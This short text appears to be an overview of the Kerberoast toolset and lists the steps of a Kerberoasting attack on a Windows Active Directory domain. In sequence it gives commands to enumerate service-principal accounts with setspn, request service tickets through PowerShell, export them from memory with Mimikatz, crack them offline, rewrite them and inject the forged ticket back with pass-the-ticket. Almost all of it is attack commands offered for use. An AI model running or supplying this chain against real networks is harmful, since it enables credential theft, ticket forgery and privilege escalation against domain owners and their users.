Kerberoast is a series of tools for attacking MS Kerberos implementations. Below is a brief overview of what each tool does.
Extract all accounts in use as SPN setspn -T medin -Q / | Select-String Users
Request the tickets Add-Type -AssemblyName System.IdentityModel New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "HTTP/web01.medin.local"
Extract from ram with Mimikatz kerberos::list /export
Crack with ./tgsrepcrack.py
Rewrite ./kerberoast.py
Inject back into RAM kerberos::ptt sql.kirbi